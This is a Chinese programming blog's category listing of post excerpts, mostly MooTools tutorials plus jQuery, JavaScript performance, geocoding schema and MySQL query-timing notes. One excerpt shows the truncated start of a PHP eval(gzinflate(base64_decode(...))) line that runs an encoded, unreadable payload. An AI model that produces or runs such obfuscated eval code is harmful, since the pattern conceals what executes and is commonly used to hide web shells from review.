随笔分类 - 编程
编程类的随笔
摘要:源代码:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=
阅读全文
摘要:类的代码:View Code <?phpeval(gzinflate(base64_decode('7X1td9s2svDn3nP2PzBZNZJiKRb1ZtmxvY+bOE3u2o5rp9u7N5v1oSTaZqO3UHQi9+W/PzMDgCTIAUjZbrd771VPHYkEBjODwWAwGAz+9B9/+o+vxv5lMPNr1e/OLo7fvjy8OPn+qNpwmm79OfvyGF622HcHJ/CKrzaAN232zV8PTv7zDbztsG/P3519/+Ld92eHUKKLJaDM5qZz5H/2J0tnfun4YTgPndE8DP1RFMxnz/6UIen
阅读全文
摘要:演示效果图:插件源代码:function PL_rili(_id,Option,memo,_edit){//_edit:日曆內的價格可否被編輯 //如果页面中不包含该对象则退出该扩展方法 if(!_id){return false;} if(_edit==undefined){_edit=false} var Today=new Date(); var tY=Today.getFullYear(); var tM=Today.getMonth(); var tD=Today.getDate(); //農曆資料 var lunarInfo=n...
阅读全文
摘要:var LightBox=(function(){var F=window,n=Browser.ie6,u,g,G=-1,o,w,E,v,y,M,s,m={},t=new Image(),K=new Image(),I,a,h,q,J,e,H,c,A,L,x,i,d,C;F.addEvent("domready",function(){$(document.body).adopt($$(I=new Element("div#lbOverlay",{style:"position:fixed;z-index:9999;left:0;top:0;w
阅读全文
摘要:今天我們講解一下mt的事件部分,对于事件的讲解主要包含三部分,分别是:绑定,移除,和触发,我们首先来看一个例子//jquery的事件绑定方式$('a').click(function){ alert('aa');});//或$('a').bind('click,mouseover',function){ alert('aa');});//mt的事件绑定方式$('a').addEvent('click',function){ alert('aa');});或$('
阅读全文
摘要:温故: 透过对上一节课的学习,相信大家对mt的选择器应该有了一定的认识了,我再放几个小示例让大家对选择器的复杂应用有所了解:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv=
阅读全文
摘要:利器: 君欲善其事须先利其器,好吧因为我们的时间比较紧迫,只有六天而已,那么六天的时间用死记硬背的方式学会Mt犹如天方夜谭,因此我们需要借鉴一下Editplus的素材栏帮我们记忆就好了,当我们需要用到什么函数的时候直接从素材里找一下双击就行了.Editplus的素材是允许我们自己进行配置的,下边的文件是我已经配置好的Mt1.4的素材文件,大家可以直接下载,然后将此文件放入Editplus的素材文件夹底下就行了.Mootools1.4.zip看我的操作动画:看完动画之后相信大家自己配置editplus的素材已经没什么问题了吧,这个素材文件是我编辑的,如果大家感觉有什么错误或遗漏之处,可以自己使.
阅读全文
摘要:刚才发了几篇Mootools(以后直接简称Moo或Mt,看到这两个名字的时候不要感到奇怪),有一位热心的朋友"追杀"告诉我说现在已经出到1.4了,就不要再纠结于1.2了,想象一下有道理,其实我现在自己用的也是1.4,那么好吧,接下来的时间我将直接提供1.4的教程,1.2的那个就让他太监掉吧. 接下来我说一下Mt是啥,其实很多人都知道jquery,mootools与之类似,我以前是写jquery的,学了5个小时,写了5个月,最后后悔了5个月,不得已转至Mootools上,Mootools的官网是:Mootools.net,刚刚有人问我Mt在国内是不是不流行,说实话,Mooto
阅读全文
摘要:今天开始MooTools系列教程的第4讲。如果你还没有看过上一讲,请先查看上一篇教程《30天学会 MooTools 教学(3): 数组管理DOM元素》。今天我们先不讲MooTools,而是讲一讲JavaScript中的函数(function)的基本知识。 但是,为了符合MooTools这个主题,你需要知道在哪裡该使用MooTools的函数。此前,我们已经在我们的所有示例代码中,把代码都放在 domready方法中。当我们需要把它放在domready的外面时,我们使用了函数(function)。在你在domready裡面调用函数之前, 函数并不会被执行。 一般来说,一种比较好的方式是儘可...
阅读全文
摘要:在上一篇教程——《30天学会 MooTools 教学(2): DOM选择器》中,我们介绍了一下选择器,其中有很多方法就会返回数组(一个你可以对其中内容进行多种操作的特殊列表)。今天,我们在来看看如何使用数组来管理DOM元素。基本方法.each(); 在处理数组时,.each();方法是你最好的朋友。它提供了一种很容易的方法来遍曆数组的每个元素,如果有需要还可以对其中的元素进行任何逻辑处理。例如,我们可以假设你需要为页面中的每个div对象调用alert方法:参考代码:$$('div').each(function() { alert('a div');});如果使
阅读全文
摘要:如果你还没有准备好,请先阅读上一篇《Mootools 1.2教程(1)——MooTools介绍》。我们讲了怎麽引用MooTools 1.2以及怎麽在domready裡面调用你的脚本。 今天开始本系列教程的第2讲。在这一讲中,我们会学习几种选择HTML元素的方法。在许多方面,这是MooTools用得最多最基本的。毕竟,要创建一个基于HTML元素的交互性用户体验,你必须首先把它们掌握在手中。基本的方法$();$函数是MooTools中基本的选择器。你可以通过它来根据一个ID选择DOM元素。// 选择ID为」body_wrap「的元素$('body_wrap');<div id
阅读全文
摘要:其实很多人都知道jquery,mootools与之类似,我以前是写jquery的,学了5个小时,写了5个月,最后后悔了5个月,不得已转至Mootools上,Mootools的官网是:Mootools.net说实话,Mootools在华人地区并不流行,原因很简单,缺少中文教学文档. 有人最近要求我们写一个关于MooTools 1.2的30天的教程,这似乎也是个很不错的主意,于是我们决定现在就开始。在这些教程中,我们假设用户没有任何MooTools或者是JavaScript经验,但是至少有基本的HTML和CSS知识。MooTools 1.2 JavaScript库介绍 MooTools 1...
阅读全文
摘要:javascript脚本执行过程中会中断页面加载,直到脚本执行完毕,此操作阻塞了页面加载,造成性能问题。脚本位置和加载顺序:如果将脚本放在head内,那么再脚本执行完毕之前,显示给用户的始终是一片空白,用户只能傻傻的看着屏幕等待脚本执行完毕。而且,如果页面引入多个脚本,那么后面的脚本文件必须等待前面的脚本文件下载完毕并且执行完毕之后才能开始下载并运行。不过IE8,FF,SAFARI,CHROME已经允许脚本文件可以同时下载,不过尽管如此,javascript脚本仍然会阻塞其他脚本下载进程,页面仍旧要等待所有javascript脚本下载并执行完毕之后才可以开始加载渲染。因此,尽可能的将脚本文件放
阅读全文
摘要:为了存储与地址相关联的地址解析信息,我们需要设计合适的数据架构。在本文的示例中,我们希望在地图混搭程序上显示餐馆或酒吧。对于这类场所,典型的数据库表中应包含以下必要字段:地址的唯一 id文本字符串形式的场所地址经过地址解析的位置的 lat 值和 lng 值另外,我们希望所提供的地址数据库可以被实际用户使用,因此,需要为场所添加人类可读的名称以进行唯一标识,并添加 type 属性以区分餐馆和酒吧(仅出于增添乐趣的目的)。文本字符串形式的场所名称场所的 type(本示例中为酒吧或者餐馆)在创建地址表时,请注意,Google Maps API 中的 lat 值和 lng 值只需精确到 6 位数即可唯
阅读全文
摘要:/*/调用方法:Pop(this,{pos:3,//上;右;下;左tim:3000,oft:{x:10,y:0},htm:'这是需要显示的内容<br>HTML5入门之新标签的解析',//可以为funfun:function(i){}});Pop();/*/核心代码var Pop=function(i,opt){var $Pop,$Hand;if(!i || !opt){Function.attempt(function(){$('_Pop').destroy();});return false;}if(!opt.htm){return false;}
阅读全文
摘要:以前一直都在用jquery,突然转到mootools,很多语法结构不太适应,不过没关系,我们可以给Mt加扩展让他的语法结构像jquery那样这一点在Mt上实现起来并不难,可是如果要让jquery模仿Mt是没办法的. Element.implement({ //EVENTS bind:function(type,fn){//$('simple').bind('click mousewheel contextmenu',function(){alert('sh')}).alert('link'); type.split(' &
阅读全文
摘要:这是我刚针对discuz开发的插件,可以直接在地图上标记点用来许愿.
阅读全文
摘要:jquery1.3将选择器引擎独立,定名为Sizzle,这也是jQuery第一个独立的模块。在Sizzle的介绍里,关于它的首要目的就是在”最常用的选择器使用”比之前版本的引擎更快。(什么是”最常用的选择器使用”,请参见 http://ejohn.org/blog/selectors-that-people-actually-use )实际上,选择器引擎的运用对于页面性能起了至关重要的作用。使用合适的选择器表达式可以轻易的提高性能、增强语义并简化逻辑,而你所需要做的,不过是培养几个习惯而已。旧习惯我 们最常用的简单选择器包括”id选择器”、”类选择器”、”标签选择器”,毫无疑问的是id选择器有
阅读全文
摘要:项目进入尾声,又是最恐怖的性能测试 (对着JS的性能测试我只能做这个表情 -_-! )经过多次的代码检查和测试,确认已经把自己定的变量什么的一大堆都已经用null处理,并且没有明显的循环引用,但结果进行用户某一动作时,内存还是没被全部回收,而是线性增加,最后发现,问题都是出现在DOM身上主要是太相信JQuery的empty()和 remove(),以为他们会把DOM都清理了,结果浪费了我两天的时间 orz ..但结果是empty()是调用remove()来进行清空的,而remove()则是先清理所有选中的对象及其子对象的所有事件和属性,再使用removeChild()删除自己,而问题就是出现.
阅读全文
摘要:我们用一个字符串类型的字段来作为主键,表面上,这太不如意了,然而,事实也证明这是有用的。问题也就出来了,当在查询语句中对该字段值加上单引号和不加查询耗时相差百倍!我建立的测试表是这样子的:CREATETABLE `foo` (`key` VARCHAR (10) NOT NULL,`time` INT(11) NOT NULL,PRIMARYKEY(`key`)) ENGINE=MyISAM DEFAULT CHARSET=utf8;然后插入30多万条数据,然后执行下面的SQL语句:SELECT * FROM `foo` WHERE `key`=1293322797查询花费 0.1288 秒,
阅读全文